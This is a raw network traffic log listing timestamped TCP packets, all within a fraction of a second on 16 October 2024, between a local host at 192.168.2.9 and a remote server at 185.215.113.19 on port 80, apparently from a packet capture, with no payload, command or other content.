Oct 16, 2024 19:22:40.045578003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045578003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045653105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045653105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045653105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045653105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045799971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045878887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045878887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045943022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.045943022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046030998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046104908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046104908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046104908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046104908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046282053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046282053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046282053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046365023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046442986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046474934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046474934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046565056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046565056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046565056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046614885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046614885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046667099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046667099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046717882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046741962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046741962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046801090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046801090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046828985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046828985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046849966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.046849966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047054052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047054052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047105074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047106028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047123909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047123909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047199011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047199011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047199011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047199011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047235012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047235012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047270060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047270060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047324896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047324896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047348022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047348022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047465086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047518015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047518015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047588110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047588110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047588110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047636032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047636032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047806025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047883987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047883987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047883987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047951937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047951937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047986984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.047986984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048053980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048072100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048072100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048118114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048118114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048221111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048221111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048221111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048221111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048221111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048501968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048569918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048569918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048584938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048584938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048628092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048628092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048736095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048736095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048794985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048825026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048825026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048963070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048963070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.048963070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049124956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049190998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049190998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049190998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049190998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049247026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049247026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049307108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049393892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049393892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049393892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049393892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049428940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049474001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049474001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049519062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049519062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049567938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049567938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049596071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049596071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049596071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049864054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049864054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049864054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049864054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049864054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049912930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049912930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.049957037 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050010920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050010920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050010920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050010920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050035954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050035954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050115108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050115108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050136089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050136089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050235987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050235987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050261974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050287962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050301075 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050438881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050438881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050438881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050440073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050440073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050491095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050491095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050543070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050549030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050549030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050565004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050569057 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050573111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050573111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050585985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050626993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050632000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050710917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.050781965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.051420927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.051433086 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.051436901 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.051443100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.051453114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052228928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052236080 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052246094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052278042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052282095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052290916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052294970 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052306890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052311897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052405119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052409887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052418947 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052423000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052433014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052437067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052742958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052747965 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052777052 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052782059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052791119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.052963018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053448915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053514004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053519011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053649902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053819895 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053824902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053837061 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053839922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.053850889 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.054486990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.054491997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.054496050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055114985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055119991 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055129051 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055133104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055141926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055145979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055155993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055160046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055169106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055172920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055864096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055869102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055871964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055876017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055880070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055882931 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.055895090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.056512117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.056516886 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.056535006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.056540012 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.056576014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057449102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057610035 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057615042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057624102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057627916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057631969 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057636023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057641029 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057715893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057720900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.057723999 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058461905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058465958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058475018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058610916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058623075 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058626890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058636904 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.058640957 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059359074 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059457064 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059461117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059469938 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059652090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.059660912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060060024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060311079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060314894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060319901 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060323000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060400009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060405016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060412884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060416937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060426950 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060431004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060481071 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.060869932 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.061206102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.066580057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066580057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066701889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066701889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066750050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066750050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066750050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066751003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066751003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066751003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066800117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066800117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066857100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066857100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066857100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066914082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066914082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.066914082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.067056894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.067056894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.067056894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078353882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078392029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078392029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078509092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078509092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078527927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.078722954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.084050894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.084050894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.084098101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.084098101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.097877026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.115125895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115125895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115125895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115125895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115125895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.115269899 CEST	49716	80	192.168.2.9	185.215.113.19
